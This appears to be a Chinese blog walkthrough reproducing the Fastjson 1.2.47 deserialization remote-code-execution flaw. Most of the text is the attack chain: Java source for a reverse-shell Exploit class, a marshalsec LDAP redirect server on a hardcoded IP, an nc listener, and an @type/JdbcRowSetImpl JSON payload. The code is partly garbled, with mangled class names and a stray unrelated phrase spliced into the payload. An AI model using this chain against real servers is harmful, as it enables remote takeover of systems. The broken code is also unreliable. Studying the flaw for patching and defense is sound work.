Fastjson=1.2.47反序列化漏洞复现
0x01 简介
fastjson 是阿⾥巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,⽀持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
0x02 漏洞概述
⾸先,Fastjson提供了autotype功能,允许⽤户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson⾃定义的反序列化机制时会调⽤指定类中的setter⽅法及部分getter⽅法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使⽬标应⽤的代码执⾏流程进⼊特定类的特定setter或者getter⽅法中,若指定类的指定⽅法中有可被恶意利⽤的逻辑(也就是通常所指
的“Gadget”),则会造成⼀些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利⽤其缓存机制可实现对未开启autotype功能的绕过。
0x03 影响版本
Fastjson1.2.47以及之前的版本
0x04 环境搭建
docker pull initidc/fastjson1.2.47_rce
tools
jdk8u181、marshalsec、Fastjson1.2.47
0x05 漏洞利⽤
1、编译⽣成Exploit.class
⾸先将以下代码保存为Exploit.java(反弹shell命令在代码内,可⾃⾏调整)
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = adLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
然后编译Exploit.java(javac Exploit.java)会⽣成⼀个Exploit.class⽂件
将编译⽣成的Exploit.class⽂件放⾄web⽬录下,即浏览器访问会下载
2、开启三个监听窗⼝
第⼀个,使⽤python搭建⼀个临时的web服务
python -m SimpleHTTPServer  8083
Ps:此步是为了接收LDAP服务重定向请求,需要在payload的⽬录下开启此web服务,这样才可以访问到payload⽂件
第⼆个,服务器使⽤marshalsec开启LDAP服务监听:
[root@master heixiuheixiu]# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 39.105.143.130:8083/#Exploit 9999
Listening on 0.0.0.0:9999
Ps:使⽤marshalsec⼯具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器第三个,nc监听
nc -lvp 1888
Ps:这是最终得到shell的窗⼝
访问fastjson页⾯Burp发包,改为POST请求,使⽤EXP
{
"name":{
"@type":"java.lang.Class",
"val":"wset.JdbcRowSetImpl"
},
"x":{
"@type":"wset.JdbcRowSetImpl",
spring framework rce漏洞复现"dataSourceName":"ldap://ip:9999/Exploit",
"autoCommit":true
}
}
发送后可以看到第三个窗⼝成功得到shell
0x06 修复⽅式
升级到最新版本!

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。